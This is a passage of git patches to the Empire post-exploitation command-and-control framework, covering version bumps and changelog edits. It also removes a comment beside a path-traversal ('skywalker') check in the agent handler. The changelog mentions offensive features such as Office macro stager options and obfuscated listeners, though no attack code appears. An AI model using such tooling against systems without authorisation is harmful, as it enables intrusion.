sessionid (@Cx01N) @@ -775,7 +779,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.3...HEAD + +[5.9.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.2...v5.9.3 [5.9.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.1...v5.9.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index e1691fb83..a2a3311ff 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.9.2 BC Security Fork" +VERSION = "5.9.3 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 60bf7f4b6..991430393 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.9.2" +version = "5.9.3" description = "" authors = ["BC Security "] readme = "README.md" From 369bd107a030a0af3a4cfd36c142d34f48e42425 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 8 Feb 2024 19:57:13 -0700 Subject: [PATCH 5/6] changelog --- CHANGELOG.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ffe0e8e74..d1de7fda3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,14 +18,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added -- Added tests for malleable listeners +- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) ### Fixed -- Fixed obfuscation issue in Malleable HTTP listeners -- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) -- Added test for invalid agent sessionid (@Cx01N) +- Fixed obfuscation issue in Malleable HTTP listeners and added tests (@Cx01N) - Fixed issue that invalid session IDs were accepted by the server (@Cx01N) +- Fixed skywalker exploit (again) and added tests (@Cx01N) ## [5.9.2] - 2024-01-31 From 2aab93c4d182570bdac28d6b687b03a129dfc7f7 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Thu, 8 Feb 2024 20:29:36 -0700 Subject: [PATCH 6/6] Update empire/server/common/agents.py --- empire/server/common/agents.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 210c4c16c..3da5458e8 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -1643,8 +1643,6 @@ def process_agent_packet( save_path = download_dir / session_id / "keystrokes.txt" # fix for 'skywalker' exploit by @zeroSteiner - # I'm not really sure if this can actually still be exploited, its gone through - # quite a few refactors. But we'll keep it for now. if not str(os.path.normpath(save_path)).startswith(str(safe_path)): message = f"agent {session_id} attempted skywalker exploit!" log.warning(message)